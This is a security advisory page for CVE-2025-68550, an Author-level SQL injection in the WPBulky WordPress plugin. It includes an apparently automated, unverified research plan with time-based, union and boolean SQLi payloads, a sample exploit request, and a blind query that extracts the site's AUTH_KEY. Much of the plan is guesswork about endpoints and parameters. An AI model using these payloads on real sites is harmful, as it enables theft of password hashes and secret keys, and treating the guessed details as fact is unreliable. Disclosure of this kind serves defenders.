CVE-2025-68550

WPBulky <= 1.1.13 - Authenticated (Author+) SQL Injection

mediumImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
6.5
CVSS Score
6.5
CVSS Score
medium
Severity
1.1.14
Patched in
14d
Time to patch

Description

The WPBulky plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 1.1.13 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with author-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=1.1.13
PublishedDecember 23, 2025
Last updatedJanuary 5, 2026
Research Plan
Unverified

# Research Plan: CVE-2025-68550 - WPBulky SQL Injection ## 1. Vulnerability Summary The **WPBulky – WordPress Bulk Edit Post Types** plugin (versions <= 1.1.13) contains an authenticated SQL injection vulnerability. The flaw exists because user-supplied input is directly concatenated into a SQL que…

Show full research plan

Research Plan: CVE-2025-68550 - WPBulky SQL Injection

1. Vulnerability Summary

The WPBulky – WordPress Bulk Edit Post Types plugin (versions <= 1.1.13) contains an authenticated SQL injection vulnerability. The flaw exists because user-supplied input is directly concatenated into a SQL query without proper sanitization via esc_sql() or parameterization via $wpdb->prepare(). This allows users with Author-level permissions and above to execute arbitrary SQL commands, potentially leading to the extraction of sensitive database information such as user hashes, site configuration, and nonces.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • AJAX Action: wpbulky_get_posts (inferred) or a similar bulk-fetching action used in the "Bulk Edit" dashboard.
  • Vulnerable Parameter: Likely a parameter associated with filtering or sorting, such as order, orderby, or dynamic filter keys (e.g., wpbulky_filter[...]).
  • Authentication: Required. The attacker must be logged in as an Author or higher (capability edit_posts is usually the threshold for bulk editing content).
  • Preconditions: The plugin must be active, and at least one post type must be available for editing.

3. Code Flow (Inferred)

  1. Entry Point: An authenticated user sends a POST request to admin-ajax.php with an action parameter (e.g., wpbulky_get_posts).
  2. Hook Registration: The plugin registers the action: add_action('wp_ajax_wpbulky_get_posts', array($this, 'get_posts_handler'));.
  3. Capability Check: The handler function (e.g., get_posts_handler) verifies the user has the edit_posts capability.
  4. Data Processing: The handler retrieves filter or sort parameters from $_POST.
  5. Vulnerable Sink: These parameters are used to build a raw SQL string.
    • Vulnerable Pattern: $query = "SELECT * FROM $wpdb->posts WHERE post_status = 'publish' ORDER BY " . $_POST['orderby'] . " " . $_POST['order'];
  6. Execution: The query is executed via $wpdb->get_results($query) without using $wpdb->prepare().

4. Nonce Acquisition Strategy

The WPBulky dashboard enqueues scripts that likely contain the necessary AJAX nonce. Since the vulnerability requires Author-level access, we must obtain the nonce from the admin context.

  1. Login: Use the http_request tool to authenticate as an Author.
  2. Navigate: Use browser_navigate to go to the WPBulky bulk edit page (e.g., /wp-admin/admin.php?page=wpbulky).
  3. Discovery: Use browser_eval to search for the localized JavaScript object containing the nonce and AJAX URL.
    • Common WPBulky JS Object: wpbulky_settings or wpbulky_admin_data.
    • Candidate Command: browser_eval("window.wpbulky_admin_data || window.wpbulky_settings")
  4. Extraction: Extract the nonce and the exact action name from the object.
    • Example: window.wpbulky_admin_data.nonce

5. Exploitation Strategy

We will attempt a Time-Based Blind SQL Injection or Error-Based Injection (if WP_DEBUG is on) via the identified parameter.

  1. Identify Vulnerable Parameter: Iterate through parameters sent by the bulk edit interface (e.g., order, orderby, post_type).
  2. Craft Payload (Time-Based):
    • If the vulnerable parameter is order: ASC, (SELECT 1 FROM (SELECT(SLEEP(5)))a)
    • If the vulnerable parameter is a filter: 1' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -
  3. HTTP Request via http_request:
    • Method: POST
    • URL: http://localhost:8080/wp-admin/admin-ajax.php
    • Headers: Content-Type: application/x-www-form-urlencoded
    • Body: action=wpbulky_get_posts&nonce=[NONCE]&order=ASC,(SELECT 1 FROM (SELECT(SLEEP(5)))a)
  4. Confirm Vulnerability: Compare the response time. A delay of ~5 seconds confirms the injection.
  5. Data Extraction: Use UNION SELECT if the results are reflected in the UI, or continue with Time-Based Blind to extract the user_pass for the admin user.

6. Test Data Setup

  1. Create Author User:
    wp user create attacker attacker@example.com --role=author --user_pass=password
  2. Ensure Posts Exist:
    wp post generate --count=5 --post_type=post
  3. Activate Plugin:
    wp plugin activate wpbulky-wp-bulk-edit-post-types

7. Expected Results

  • Successful confirm: The HTTP request to admin-ajax.php takes significantly longer (5+ seconds) than a normal request.
  • Data Leakage: If utilizing Error-Based SQLi (e.g., updatexml), the response body should contain the requested data (e.g., database version or user hash).

8. Verification Steps

  1. Database Check: Use wp db query to verify that the query being injected is indeed one generated by the plugin's logic.
  2. Manual Extraction: Attempt to extract the site's AUTH_KEY from wp_options:
    • POST param: order = (SELECT CASE WHEN (ord(substr((SELECT option_value FROM wp_options WHERE option_name='auth_key'),1,1))>1) THEN SLEEP(5) ELSE 1 END)

9. Alternative Approaches

  • Union-Based: If the AJAX response returns a list of posts, attempt to null out the original query results and UNION SELECT arbitrary data from wp_users.
  • Boolean-Based: If the plugin returns "No posts found" vs. a list of posts, use a boolean-based approach:
    • orderby=IF(1=1, post_date, post_title) vs orderby=IF(1=2, post_date, post_title)
    • Check for differences in the order of returned JSON objects.
  • Parameter Discovery: If wpbulky_get_posts is not the correct action, search the plugin source for all wp_ajax_ hooks and test any that use $_POST variables in $wpdb calls.
Research Findings
Static analysis — not yet PoC-verified

Summary

WPBulky (versions <= 1.1.13) is vulnerable to authenticated SQL injection because user-supplied input used in post-filtering and sorting is concatenated directly into SQL queries without proper sanitization. This allows users with Author-level permissions or higher to execute arbitrary SQL commands and extract sensitive data from the database.

Exploit Outline

To exploit this vulnerability, an authenticated attacker with Author-level permissions first retrieves the necessary AJAX nonce from the WPBulky admin dashboard. They then send a POST request to the 'admin-ajax.php' endpoint with an action related to fetching posts (e.g., 'wpbulky_get_posts'). The payload is delivered via parameters used for ordering or filtering (such as 'order' or 'orderby'), using time-based blind SQL injection techniques (e.g., SLEEP commands) to confirm the injection and iteratively extract data.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.